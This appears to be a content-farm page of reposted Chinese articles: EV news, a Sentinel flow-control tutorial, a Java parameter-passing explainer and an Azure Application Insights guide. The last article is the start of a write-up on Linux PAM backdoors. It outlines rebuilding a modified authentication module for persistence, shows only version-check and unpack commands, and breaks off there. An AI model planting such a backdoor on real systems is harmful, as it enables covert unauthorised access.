歐盟擬出資400萬歐元升級「雙馬達」電動汽車

據物理學家組織網18日報道,歐盟將出資400萬歐元(約合3307萬元人民幣)資助一項「雙馬達」電動汽車升級項目。這項名為「安全高效電動汽車」(EFUTURE)的項目組正在試圖解決「雙馬達」電動車帶來的安全性及能耗問題。

盡管電動車的銷量在不斷攀升,但目前在歐洲馬路上行駛的電動車總量不超過10萬輛,且其中90%是乘用車系列。相比之下,傳統汽車的數量則超過2.5億輛。

電動汽車之所以沒完全普及開來,「性價比不高」被認為是最重要的原因。在性能方面,由於電池尚處於研發的初級階段,導致電動汽車行駛距離較為短暫。

有些電動車引入了「雙馬達」的概念,,但同時控制兩個馬達,安全性成為了一個重要的挑戰。「雙馬達」電動車需要一種新的系統架構,以及從傳感器到控制單元的一系列的電子設備。

該項目的目標就是設計出新一代電動汽車,用一款智能軟件最大限度地減少能源消耗,同時仍然能夠在安全和能源消耗之間做出動態的優化決策。

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※帶您來了解什麼是 USB CONNECTOR  ?

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!

※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※教你寫出一流的銷售文案?

日產CEO稱燃料電池車將面臨更嚴重銷售問題

據路透報導,雷諾與日產汽車執行長戈恩週三(20)重申,雷諾與日產原定到2017年3月末時售出150萬輛電動汽車的目標,將推遲兩至三年。

但他對未能按時達到電動汽車銷售目標並不感到擔心,並預測競爭對手在未來幾年的燃料電池汽車銷售計畫會面臨更大的障礙。豐田汽車和本田汽車均計畫在2015年左右開始銷售燃料電池汽車。

儘管日產推遲了達到電動汽車銷售目標的時間,但他表示,將提高純電動汽車Leaf在美國的產量。在下調價格之後,Leaf是目前全球最暢銷的電動汽車。

自三年前向市場推出首款電動汽車以來,日產與雷諾迄今僅售出了12萬輛電動汽車。不過戈恩認為,充電基礎設施方面的難題,而非技術問題,才是阻礙電動汽車普及程度的關鍵原因,這預示著燃料電池汽車的未來甚至面臨更大的挑戰。

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

※南投搬家公司費用,距離,噸數怎麼算?達人教你簡易估價知識!

※教你寫出一流的銷售文案?

※超省錢租車方案

SpringCloud Alibaba (三):Sentinel 流量控制組件

SpringCloud Alibaba (三):Sentinel 流量控制組件

Sentinel 是什麼

隨着微服務的流行,服務和服務之間的穩定性變得越來越重要。Sentinel 是面向分佈式服務架構的流量控制組件,主要以流量為切入點,從限流、流量整形、熔斷降級、系統負載保護、熱點防護等多個維度來幫助開發者保障微服務的穩定性。

Sentinel 基本概念

資源

資源是 Sentinel 的關鍵概念。它可以是 Java 應用程序中的任何內容,例如,由應用程序提供的服務,或由應用程序調用的其它應用提供的服務,甚至可以是一段代碼。

只要通過 Sentinel API 定義的代碼,就是資源,能夠被 Sentinel 保護起來。大部分情況下,可以使用方法簽名,URL,甚至服務名稱作為資源名來標示資源。

規則

圍繞資源的實時狀態設定的規則,可以包括流量控制規則、熔斷降級規則以及系統保護規則。所有規則可以動態實時調整。

 

規則的種類

Sentinel 的所有規則都可以在內存態中動態地查詢及修改,修改之後立即生效。同時 Sentinel 也提供相關 API,供您來定製自己的規則策略。

Sentinel 支持以下幾種規則:流量控制規則、熔斷降級規則、系統保護規則、來源訪問控制規則 和 熱點參數規則。

流量控制規則 (FlowRule)

流量規則的定義0

重要屬性:

Field 說明 默認值
resource 資源名,資源名是限流規則的作用對象  
count 限流閾值  
grade 限流閾值類型,QPS 或線程數模式 QPS 模式
limitApp 流控針對的調用來源 default,代表不區分調用來源
strategy 調用關係限流策略:直接、鏈路、關聯 根據資源本身(直接)
controlBehavior 流控效果(直接拒絕 / 排隊等待 / 慢啟動模式),不支持按調用關係限流 直接拒絕

同一個資源可以同時有多個限流規則。

通過代碼定義流量控制規則

理解上面規則的定義之後,我們可以通過調用 FlowRuleManager.loadRules() 方法來用硬編碼的方式定義流量控制規則,比如:

private static void initFlowQpsRule() {
    List<FlowRule> rules = new ArrayList<>();
    FlowRule rule1 = new FlowRule();
    rule1.setResource(resource);
    // Set max qps to 20
    rule1.setCount(20);
    rule1.setGrade(RuleConstant.FLOW_GRADE_QPS);
    rule1.setLimitApp("default");
    rules.add(rule1);
    FlowRuleManager.loadRules(rules);
}

更多詳細內容可以參考 流量控制。

熔斷降級規則 (DegradeRule)

熔斷降級規則包含下面幾個重要的屬性:

Field 說明 默認值
resource 資源名,即限流規則的作用對象  
count 閾值  
grade 熔斷策略,支持秒級 RT/秒級異常比例/分鐘級異常數 秒級平均 RT
timeWindow 降級的時間,單位為 s  

同一個資源可以同時有多個降級規則。

理解上面規則的定義之後,我們可以通過調用 DegradeRuleManager.loadRules() 方法來用硬編碼的方式定義流量控制規則。

 private static void initDegradeRule() {
        List<DegradeRule> rules = new ArrayList<>();
        DegradeRule rule = new DegradeRule();
        rule.setResource(KEY);
        // set threshold rt, 10 ms
        rule.setCount(10);
        rule.setGrade(RuleConstant.DEGRADE_GRADE_RT);
        rule.setTimeWindow(10);
        rules.add(rule);
        DegradeRuleManager.loadRules(rules);
    }

更多詳情可以參考 熔斷降級。

系統保護規則 (SystemRule)

規則包含下面幾個重要的屬性:

Field 說明 默認值
highestSystemLoad load1 閾值,參考值 -1 (不生效)
avgRt 所有入口流量的平均響應時間 -1 (不生效)
maxThread 入口流量的最大併發數 -1 (不生效)
qps 所有入口資源的 QPS -1 (不生效)
highestCpuUsage 當前系統的 CPU 使用率(0.0-1.0) -1 (不生效)

理解上面規則的定義之後,我們可以通過調用 SystemRuleManager.loadRules() 方法來用硬編碼的方式定義流量控制規則。

private void initSystemProtectionRule() {
  List<SystemRule> rules = new ArrayList<>();
  SystemRule rule = new SystemRule();
  rule.setHighestSystemLoad(10);
  rules.add(rule);
  SystemRuleManager.loadRules(rules);
}

更多詳情可以參考 系統自適應保護。

訪問控制規則 (AuthorityRule)

很多時候,我們需要根據調用方來限制資源是否通過,這時候可以使用 Sentinel 的訪問控制(黑白名單)的功能。黑白名單根據資源的請求來源(origin)限制資源是否通過,若配置白名單則只有請求來源位於白名單內時才可通過;若配置黑名單則請求來源位於黑名單時不通過,其餘的請求通過。

授權規則,即黑白名單規則(AuthorityRule)非常簡單,主要有以下配置項:

  • resource:資源名,即限流規則的作用對象

  • limitApp:對應的黑名單/白名單,不同 origin 用 , 分隔,如 appA,appB

  • strategy:限制模式,AUTHORITY_WHITE 為白名單模式,AUTHORITY_BLACK 為黑名單模式,默認為白名單模式

更多詳情可以參考 來源訪問控制。

熱點規則 (ParamFlowRule)

詳情可以參考 熱點參數限流。

 

Sentinel控制台

概述

Sentinel 提供一個輕量級的開源控制台,它提供機器發現以及健康情況管理、監控(單機和集群),規則管理和推送的功能。另外,鑒權在生產環境中也必不可少。這裏,我們將會詳細講述如何通過簡單的步驟就可以使用這些功能。

接下來,我們將會逐一介紹如何整合 Sentinel 核心庫和 Dashboard,讓它發揮最大的作用。同時我們也在阿里雲上提供企業級的控制台:AHAS Sentinel 控制台,您只需要幾個簡單的步驟,就能最直觀地看到控制台如何實現這些功能。

Sentinel 控制台包含如下功能:

  • 查看機器列表以及健康情況:收集 Sentinel 客戶端發送的心跳包,用於判斷機器是否在線。

  • 監控 (單機和集群聚合):通過 Sentinel 客戶端暴露的監控 API,定期拉取並且聚合應用監控信息,最終可以實現秒級的實時監控。

  • 規則管理和推送:統一管理推送規則。

  • 鑒權:生產環境中鑒權非常重要。這裏每個開發者需要根據自己的實際情況進行定製。

更詳細內容,訪問 https://github.com/alibaba/Sentinel/wiki

啟動Sentinel控制台

1.在Sentinel的github上下載 sentinel-dashboard.jar

https://github.com/alibaba/Sentinel/releases

2.在sentinel-dashboard.jar所在文件夾運行cmd,在cmd里運行以下啟動命令啟動sentinel-dashboard

java -Dserver.port=8081 -Dcsp.sentinel.dashboard.server=localhost:8081 -Dproject.name=sentinel-dashboard -jar sentinel-dashboard-1.7.2.jar

3.訪問 localhost:8081,進入Sentinel控制台,默認用戶和密碼都是 sentinel

 

SpringCloud Alibaba 整合 Sentinel

Sentinel 可以簡單的分為 Sentinel 核心庫和 Dashboard。核心庫不依賴 Dashboard,但是結合 Dashboard 可以取得最好的效果。

我們說的資源,可以是任何東西,服務,服務里的方法,甚至是一段代碼。使用 Sentinel 來進行資源保護,主要分為幾個步驟:

  1. 定義資源

  2. 定義規則

  3. 檢驗規則是否生效

先把可能需要保護的資源定義好,之後再配置規則。也可以理解為,只要有了資源,我們就可以在任何時候靈活地定義各種流量控制規則。在編碼的時候,只需要考慮這個代碼是否需要保護,如果需要保護,就將之定義為一個資源。

定義資源

1. 添加依賴

注意:在整合spring-cloud-starter-alibaba-sentinel和spring-cloud-starter-openfeign時,feign-core的版本要在10.1.0以上,即導入2.1.0.RELEASE或以上版本的openfeign,否則會報feign.RequestTemplate.path()Ljava/lang/String;異常,因為低版本openfeign的RequestTemplate類里沒有path方法

<dependency>
    <groupId>com.alibaba.cloud</groupId>
    <artifactId>spring-cloud-starter-alibaba-sentinel</artifactId>
    <version>2.1.0.RELEASE</version>
</dependency>
2.添加配置
server:
  port: 8080
​
spring:
  application:
    name: consumer-8080
  cloud:
    nacos:
      discovery:
        server-addr: 192.168.11.132:8848
    sentinel:
      transport:
        dashboard: localhost:8081 # 將服務註冊到sentinel控制台
​
feign:
  sentinel:
    enabled: true #開啟feign的sentinel支持
​
management:
  endpoints:
    web:
      exposure:
        include: "*"
3.在controller需要保護的方法添加 @SentinelResource 註解,把方法定義為資源
@RestController
public class FeignController {
​
    @Autowired
    private EchoService echoService;
    
    @SentinelResource(value = "echo", blockHandler = "echoBlockHandler", blockHandlerClass = EchoServiceBlockHandler.class)
    @GetMapping("/feign/echo/{string}")
    public String echo(@PathVariable("string")String string){
        return echoService.echo(string);
    }
​
}

@SentinelResource 用於定義資源,並提供可選的異常處理和 fallback 配置項。 @SentinelResource 註解包含以下屬性:

  • value:資源名稱,必需項(不能為空)

  • entryType:entry 類型,可選項(默認為 EntryType.OUT)

  • blockHandler / blockHandlerClass: blockHandler 對應處理 BlockException 的函數名稱,可選項。blockHandler 函數訪問範圍需要是 public,返回類型需要與原方法相匹配,參數類型需要和原方法相匹配並且最後加一個額外的參數,類型為 BlockException。blockHandler 函數默認需要和原方法在同一個類中。若希望使用其他類的函數,則可以指定 blockHandlerClass 為對應的類的 Class 對象,注意對應的函數必需為 static 函數,否則無法解析。

  • fallback:fallback 函數名稱,可選項,用於在拋出異常的時候提供 fallback 處理邏輯。fallback 函數可以針對所有類型的異常(除了 exceptionsToIgnore裏面排除掉的異常類型)進行處理。fallback 函數簽名和位置要求:

    • 返回值類型必須與原函數返回值類型一致;

    • 方法參數列表需要和原函數一致,或者可以額外多一個 Throwable 類型的參數用於接收對應的異常。

    • fallback 函數默認需要和原方法在同一個類中。若希望使用其他類的函數,則可以指定 fallbackClass 為對應的類的 Class 對象,注意對應的函數必需為 static 函數,否則無法解析。

  • defaultFallback(since 1.6.0):默認的 fallback 函數名稱,可選項,通常用於通用的 fallback 邏輯(即可以用於很多服務或方法)。默認 fallback 函數可以針對所以類型的異常(除了 exceptionsToIgnore 裏面排除掉的異常類型)進行處理。若同時配置了 fallback 和 defaultFallback,則只有 fallback 會生效。defaultFallback 函數簽名要求:

    • 返回值類型必須與原函數返回值類型一致。

    • 方法參數列表需要為空,或者可以額外多一個 Throwable 類型的參數用於接收對應的異常。

    • defaultFallback 函數默認需要和原方法在同一個類中。若希望使用其他類的函數,則可以指定 fallbackClass 為對應的類的 Class 對象,注意對應的函數必需為 static 函數,否則無法解析。

  • exceptionsToIgnore(since 1.6.0):用於指定哪些異常被排除掉,不會計入異常統計中,也不會進入 fallback 邏輯中,而是會原樣拋出。

blockHandler 和 fallback區別:

blockHandler 函數會在原方法被限流/降級/系統保護的時候調用,而 fallback 函數會針對所有類型的異常。

如果一個資源同時對 blockHandler 和 fallback 都進行了配置,除了流量控制規則觸發時拋出的 BlockException 會進入 blockHandler 處理邏輯,其他規則觸發時都會進入fallback處理邏輯

4.創建EchoServiceBlockHandler類,建立blockHandler 處理邏輯
public class EchoServiceBlockHandler {
​
    private final static Logger logger = LoggerFactory.getLogger(EchoServiceBlockHandler.class);
​
    public static String echoBlockHandler(String string, BlockException e){
        logger.error("error: "+e);
        return "方法請求降級中";
    }
​
}

在應用程序里定義規則

1.在啟動類中定義規則,並加入容器中
@SpringBootApplication
@EnableDiscoveryClient
@EnableFeignClients
public class Consumer8080 {
    public static void main(String[] args) {
        SpringApplication.run(Consumer8080.class, args);
    }
​
    @Bean
    public SentinelResourceAspect sentinelResourceAspect(){
        return new SentinelResourceAspect();
    }
​
    //流量控制規則
    @Bean
    public static void initFlowRule(){
        List<FlowRule> rules = new ArrayList<FlowRule>();
        FlowRule flowRule = new FlowRule();
        flowRule.setResource("echo"); //設置資源名,即流量控制規則的作用對象
        flowRule.setCount(2); //設置限流閾值,此為QPS,即每秒最高訪問量
        flowRule.setGrade(RuleConstant.FLOW_GRADE_QPS); //限流閾值類型,QPS或線程數
        rules.add(flowRule);
        FlowRuleManager.loadRules(rules);
    }
​
}
2.訪問測試

訪問 http://localhost:8080/feign/echo/hi ,快速刷新,觸發流量控制規則,調用降級邏輯

在Sentinel控制台定義規則

在Sentinel控制台上我們可以簡單、靈活地管理規則以及推送規則,但是要注意的是,在Sentinel控制台上定義的規則是不會被持久化的,僅在內存中生存,當你重啟應用時,在Sentinel控制台上定義的規則將會丟失(應用程序里定義的規則在sentinel控制台上刪除,應用重啟後會重新生效)

 

 

我的個人博客站

 

 

自動判斷 中文 中文(簡體) 中文(香港) 中文(繁體) 英語 日語 朝鮮語 德語 法語 俄語 泰語 南非語 阿拉伯語 阿塞拜疆語 比利時語 保加利亞語 加泰隆語 捷克語 威爾士語 丹麥語 第維埃語 希臘語 世界語 西班牙語 愛沙尼亞語 巴士克語 法斯語 芬蘭語 法羅語 加里西亞語 古吉拉特語 希伯來語 印地語 克羅地亞語 匈牙利語 亞美尼亞語 印度尼西亞語 冰島語 意大利語 格魯吉亞語 哈薩克語 卡納拉語 孔卡尼語 吉爾吉斯語 立陶宛語 拉脫維亞語 毛利語 馬其頓語 蒙古語 馬拉地語 馬來語 馬耳他語 挪威語(伯克梅爾) 荷蘭語 北梭托語 旁遮普語 波蘭語 葡萄牙語 克丘亞語 羅馬尼亞語 梵文 北薩摩斯語 斯洛伐克語 斯洛文尼亞語 阿爾巴尼亞語 瑞典語 斯瓦希里語 敘利亞語 泰米爾語 泰盧固語 塔加路語 茨瓦納語 土耳其語 宗加語 韃靼語 烏克蘭語 烏都語 烏茲別克語 越南語 班圖語 祖魯語 自動選擇 中文 中文(簡體) 中文(香港) 中文(繁體) 英語 日語 朝鮮語 德語 法語 俄語 泰語 南非語 阿拉伯語 阿塞拜疆語 比利時語 保加利亞語 加泰隆語 捷克語 威爾士語 丹麥語 第維埃語 希臘語 世界語 西班牙語 愛沙尼亞語 巴士克語 法斯語 芬蘭語 法羅語 加里西亞語 古吉拉特語 希伯來語 印地語 克羅地亞語 匈牙利語 亞美尼亞語 印度尼西亞語 冰島語 意大利語 格魯吉亞語 哈薩克語 卡納拉語 孔卡尼語 吉爾吉斯語 立陶宛語 拉脫維亞語 毛利語 馬其頓語 蒙古語 馬拉地語 馬來語 馬耳他語 挪威語(伯克梅爾) 荷蘭語 北梭托語 旁遮普語 波蘭語 葡萄牙語 克丘亞語 羅馬尼亞語 梵文 北薩摩斯語 斯洛伐克語 斯洛文尼亞語 阿爾巴尼亞語 瑞典語 斯瓦希里語 敘利亞語 泰米爾語 泰盧固語 塔加路語 茨瓦納語 土耳其語 宗加語 韃靼語 烏克蘭語 烏都語 烏茲別克語 越南語 班圖語 祖魯語 有道翻譯 百度翻譯 谷歌翻譯 谷歌翻譯(國內)

翻譯 朗讀 複製 正在查詢,請稍候…… 重試 朗讀 複製 複製 朗讀 複製 via 谷歌翻譯(國內) 譯

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※帶您來了解什麼是 USB CONNECTOR  ?

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!

※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※教你寫出一流的銷售文案?

【Java思考】Java 中的實參与形參之間的傳遞到底是值傳遞還是引用傳遞呢?

科普:

  • 值傳遞(pass by value)是指在調用函數時將實際參數複製一份傳遞到函數中,這樣在函數中如果對參數進行修改,將不會影響到實際參數。
  • 引用傳遞(pass by reference)是指在調用函數時將實際參數的地址直接傳遞到函數中,那麼在函數中對參數所進行的修改,將影響到實際參數。
值傳遞 引用傳遞
根本區別 會創建副本(Copy) 不創建副本,直接引用
效果 函數中無法改變原始對象 函數中可以改變原始對象

Java 中的實參与形參之間的傳遞到底是值傳遞還是引用傳遞呢?

其實之前我和大多數人一樣認為:傳遞的參數如果是“基本數據類型”,那就是“值傳遞”,如果是“引用類型”(即 對象),那就是“引用傳遞”。

但是昨天我突然覺得:好像。。。不一定!
誒,別急着懟我說:Nemo!你傳遞過對象沒啊,把對象傳過去,修改對象的屬性值,屬性值就是的的確確的修改了啊!

誒,你說的沒錯,確實是修改了,但是你也說了是修改對象的屬性值,傳過去的是對象地址,而你的實際操作並沒有對你傳入的地址進行修改,只是修改了對象地址下面的屬性值。

如果只是修改對象地址下面的屬性值的話,那麼值傳遞和引用傳遞有差嗎?
值傳遞:複製對象地址給函數,函數修改對象地址下面的屬性值。
引用傳遞:引用對象地址給函數,函數修改對象地址下面的屬性值。
這兩者有差嗎,無論是複製還是引用,傳入的對象地址都沒有改變,改變的只是對象地址下面的屬性值。

類比:我們可以類比一下,你家的地址是“北京市海淀區清華園1號”。
引用傳遞:你給我引用你的地址,我過去你的地址那,打開你家的門,偷你家電動車的電瓶。
值傳遞:你不給我你的地址,我從網上找到你的地址,複製一份,過去你的地址那,打開你家的門,偷你家電動車的電瓶。
你瞧瞧,這兩者有差嗎?無論是怎樣拿到你家的地址,你家的電瓶我要定了啊,你家的電瓶都會被修改啊。

舉例代碼:

package temp;

/**
 * @author Nemo
 * @date 2020/6/22
 */
public class ValueTransfer {
    public static void main(String[] args) {
        Home yourHome = new Home("你的家");
        Nemo nemo = new Nemo();
        nemo.steal(yourHome);
        yourHome.show();
    }
}

class Home {
    public String name;
    public boolean battery = true;

    public boolean isBattery() {
        return battery;
    }

    public void setBattery(boolean battery) {
        this.battery = battery;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public Home(String name) {
        this.name = name;
    }

    public void show() {
        if (this.isBattery()) {
            System.out.println(name + "的電瓶還在喲~");
        } else {
            System.out.println(name + "的電瓶被偷了!");
        }
    }

}

class Nemo {
    public void steal(Home home) {
        //如果是引用傳遞的話,那麼我把你的家整個都變為了別人的家,那麼你的家對象上現在應該存放的是別人的家
        //如果是值傳遞的話,那麼我只是把你的家對象複製了一個新的,這個新的家是別人的家,我偷一個跟你家一模一樣的別人家的電瓶,你家的電瓶應該不會變
        home = new Home("別人的家");
        home.battery = false;
        home.show();
    }

}

在 Nemo 類的 steal 方法中,我們可以看到註釋:

  1. 如果是引用傳遞,那麼我把你的家整個都變為了別人的家,那麼你的家對象上現在應該存放的是別人的家,並且你家(即 別人家)的電瓶也應該被我偷了。
  2. 如果是值傳遞,那麼我只是把你的家對象參數複製了一個新的,這個新的家我設為了別人的家,我偷一個跟你家一模一樣的別人家的電瓶,你家的電瓶應該不會變。

運行結果:

別人的家的電瓶被偷了!
你的家的電瓶還在喲~

根據運行結果來看,很顯然,是第二種情況,也就是值傳遞,我偷的是一個跟你家一模一樣的別人家的電瓶,而你家的電瓶還在。

結論

Java 中只有值傳遞。

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

※南投搬家公司費用,距離,噸數怎麼算?達人教你簡易估價知識!

※教你寫出一流的銷售文案?

※超省錢租車方案

Azure Monitor(一)Application Insights

一,引言

  Azure Monitor 是 Azure 中的一項完整堆棧監視服務,是一種收集和分析遙測數據的服務。它提供了一組完整的功能來監視 Azure 資源以及其他雲中和本地的資源。Azure Monitor  該服務有助於實現雲應用程序以及本地資源和應用程序的最大性能和可用性。 它显示了應用程序的執行方式,並可識別應用程序存在的任何問題。

       Azure Monitor 會收集兩種基本類型的數據 – 指標和日誌。 指標表明資源的執行方式,以及使用的其他資源。 日誌包含显示資源創建/修改時間的記錄。

 

 Azure Monitor 從一系列組件中自動收集數據。 例如:

  1,應用程序數據:與自定義應用程序代碼相關的數據。
  2,操作系統數據:來自託管應用程序的 Windows 或 Linux 虛擬機的數據。
  3,Azure 資源數據:與 Azure 資源(如 Web 應用或負載均衡器)的操作相關的數據。
  4,Azure 訂閱數據:與訂閱相關的數據。 它包括有關 Azure 運行狀況和可用性的數據。
  5,Azure 租戶數據:有關 Azure 組織級別服務的數據,例如 Azure Active Directory。
由於 Azure Monitor 是自動系統,因此在創建 Azure 資源(如虛擬機和 Web 應用)后,它會立即從這些源中收集數據。 可通過以下方式擴展 Azure Monitor 收集的數據:
  1,啟用診斷:對於某些資源(如 Azure SQL 數據庫),僅在啟用診斷日誌記錄后才會收到有關資源的完整信息。 可使用 Azure 門戶、Azure CLI 或 PowerShell 來啟用診斷。
  2,添加代理:對於虛擬機,可安裝 Log Analytics 代理,並將其配置為將數據發送到 Log Analytics 工作區。 此代理會增加發送到 Azure Monitor 的信息量。
開發人員可能還想要從自定義代碼(例如 Web 應用、Azure 函數或移動應用)將數據發送到 Azure Monitor。 他們通過調用數據收集器 API 來發送數據。 你可通過 HTTP 與此 REST 接口通信。 此接口與各種開發框架(如 .NET Framework、Node.js 和 Python)兼容。 開發人員可選擇自己最喜歡的語言和框架在 Azure Monitor 中記錄數據。

日誌

日誌包含對資源所做更改的相關時間戳信息。 記錄的信息類型因日誌源而異。 日誌數據會整理成記錄,每種記錄類型具有不同的屬性集。 日誌可以包含数字值(如 Azure Monitor 指標),但大多數日誌包含文本數據,而不是数字值。
最常見的日誌項目類型會記錄事件。 事件可能偶爾發生,而不是按固定的間隔或根據某種計劃發生。 事件由應用程序和服務創建,這些應用程序和服務為事件提供上下文。 可將指標數據存儲在日誌中,以便將其與其他監視數據合併起來用於分析。
在 Log Analytics 工作區中記錄來自 Azure Monitor 的數據。 Azure 提供分析引擎和豐富的查詢語言。 日誌显示了上下文的任何問題,有助於確定根本原因。

指標

指標是数字值,用於描述系統某些方面在某個時間點的情況。 Azure Monitor 可以近乎實時地捕獲指標。 這些指標按固定時間間隔收集,在因其頻繁採樣而發出警報時很有用。 可使用多種算法,將指標與其他指標進行比較,並觀察隨時間變化的趨勢。
指標存儲在時序數據庫中。 分析時間戳數據時,使用此數據存儲最為有效。 指標適用於警報和快速檢測問題。 可通過指標了解有關係統性能的信息。 如果需要,可以將它們與日誌進行合併,確定問題的根本原因。

   Azure Monitor 現在包括 Log Analytics 和 Application Insights,其提供的高級工具適用於收集和分析遙測數據,以便最大程度地提高雲和本地的資源和應用程序的性能和可用性。 它可以幫助你了解應用程序的性能,並主動識別影響應用程序及其所依賴資源的問題。那麼今天就先了解 Application Insights,通過它可以監控網站的可用性、性能和使用情況。快速診斷確定並診斷應用程序中的錯誤,而無需等待用戶報告這些錯誤以及提供用戶數據的分析,用戶,會話,事件等,

二,正文

 1,什麼是 Application Insights?

  Application Insights 是 Azure Monitor 的一項功能。 使用它可以監視實時應用程序。 它將自動檢測性能異常,並且包含了強大的分析工具來幫助診斷問題,了解用戶在應用中實際執行了哪些操作。 它旨在幫助持續提高性能與可用性。 它適用於本地雲、混合雲或任何公有雲中託管的各種平台(包括 .NET、Node.js、Java 和 Python)上的應用。 它與 DevOps 進程集成,並且具有與不同開發工具的連接點。 可以通過與 Visual Studio App Center 集成來監視和分析移動應用的遙測數據。

 2,為NET.Core Web項目添加Application Insights

新增 NET Core Web 項目

 管理 NuGet 包=》Microsoft.ApplicationInsights.AspNetCore

 註冊Application Insights 遙測收集服務

services.AddApplicationInsightsTelemetry();

azure portal 新建 Applaction Insights 服務

點擊 “Create” 按鈕

 

選擇已有的資源組/創建新的資源組,填寫 Application Insights 的服務名稱 “Azure.Monitor.Application_Insights” (我這裡是之前已經創建服務名稱為 “Azure.Monitor.Application_Insights” ,這裏忽略圖中名稱後面沒有 s)

 

 複製圖中圈起來的檢測密鑰:Instrumentation Key

 配置 appsetting 配置文件中的 InstrumentationKey 的值

{
      "ApplicationInsights": {
        "InstrumentationKey": "putinstrumentationkeyhere"
      },
      "Logging": {
        "LogLevel": {
          "Default": "Warning"
        }
      }
    }

3,運行 Web 應用程序,查看遙測數據

選擇 Monitoring=》Logs

 

 

 消息實時上報差不多需要3-5分鐘,差不多3分鐘后,我們再次點擊 “Run”,我們只看到 “Warning”,“Error”,“Critical”,我們沒有得到 “Information” 和 “Debug” (後面會講到)

 同時,如下圖所示,我們還可以寫一些查詢語句,比如根據時間戳降序排列

 

 我們還可以編寫where 條件,例如 查詢 message==”Warning 1″的警告信息

 

 Monitoring Logs的這個功能還是很強大的,它可以瀏覽我們的日誌信息,同時展開當前日誌,可以展示更多的信息,比如 “operation_ParentId”,可以用來關聯來自同一個Http請求的所有的消息的ID

 圈起來的兩組數據,是我相隔2分鐘后的請求日誌結果,我們可以看到它們對ID都有相同的操作。因為是對於我們在一分鐘內看到的是同一個Http請求。

 查看手動拋的異常 Exception

 我們可以看出異常的時間,異常信息,異常發生的位置,異常的類型,操作等等

 記錄的異常行號為37行,可以對比一下手動拋出異常的行數

 同時,application insights還提供了一個可視化的地方,Investigate=》Failures,從這裏可以看到

  1,正常,異常的請求。

  2,請求對應的響應碼。

  3,各個接口/頁面的異常情況。

  4,異常類型的分佈。

  5,依賴性信息

 其實,我們可以從代碼中可以看到,我們自己手動拋了一個異常,異常雖然用try catch 進行包裹,但是對於應用程序來說,這個異常還沒有進行正確的處理掉,比如返回信息,返回狀態碼等等。

 切換到 Exceptions,可以看到這個異常的信息了

 同時,我們可以得到一些額外的堆棧信息,甚至可以看到異常的代碼行,控制器方法,類等信息

 

 回到上一個話題,Application Insights 默認情況下只監控 “Warnning”,“Error”,“Critical” 類型的信息,我們可以通過appsetting 配置文件設置Application Insights的監視級別

"ApplicationInsights": {
      "LogLevel": {
        "Default": "Debug",
        "Miccrosoft": "Error"
      }
    },

全部代碼 牽扯隱私的部分,這裏使用 “0”進行替代

{
  "Logging": {
    "ApplicationInsights": {
      "LogLevel": {
        "Default": "Debug",
        "Miccrosoft": "Error"
      }
    },
    "LogLevel": {
      "Default": "Information",
      "Microsoft": "Warning",
      "Microsoft.Hosting.Lifetime": "Information"
    }
  },
  "AllowedHosts": "*",
  "ApplicationInsights": {
    "InstrumentationKey": "000000-0000-0000-0000-00000000000000"
  }
}

 繼續在Application Insights的logs查看監測數據

 bingo,修改監測默認配置成功!

三,總結

  Application Insights 可以用來監控網站的可用性、性能和使用情況。快速診斷確定並診斷應用程序中的錯誤,而無需等待用戶報告這些錯誤。提供用戶數據的分析,用戶,會話,事件等Application Insights 提供服務器端監視和客戶端/瀏覽器監視功能,它默認數據保留90天,同時還有支持實時流數據上報(延時低至1秒,不保留數據),增加自定義埋點(自定義的指標)等

  Application Insights 服務處理數據並將數據聚合到一個表單中,方便查詢和可視化。

————–我是分割線—————–

github:https://github.com/yunqian44/Azure.Monitor.git

作者:Allen 

版權:轉載請在文章明顯位置註明作者及出處。如發現錯誤,歡迎批評指正。

 

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

※南投搬家公司費用需注意的眉眉角角,別等搬了再說!

※新北清潔公司,居家、辦公、裝潢細清專業服務

※教你寫出一流的銷售文案?

Linux Pam後門總結拓展

首發先知社區: https://xz.aliyun.com/t/7902

前言

漸漸發現pam後門在實戰中存在種植繁瑣、隱蔽性不強等缺點,這裏記錄下學習pam後門相關知識和pam後門的拓展改進。

0x01 PAM Backdoor

PAM是一種認證模塊,PAM可以作為Linux登錄驗證和各類基礎服務的認證,簡單來說就是一種用於Linux系統上的用戶身份驗證的機制。進行認證時首先確定是什麼服務,然後加載相應的PAM的配置文件(位於/etc/pam.d),最後調用認證文件(位於/lib/security)進行安全認證

簡易利用的PAM後門也是通過修改PAM源碼中認證的邏輯來達到權限維持

以下為Pam後門種植的過程,只是特別把一點tips和需要注意的點貼出來。

查詢目標版本後下載對應源代碼修改認證邏輯、編譯替換原認證文件即可。版本務必要和目標系統完全保持對應。

源碼:http://www.linux-pam.org/library/

查詢版本rpm -qa | grep pam

tar -xzvf Linux-PAM-1.1.1.tar.gz
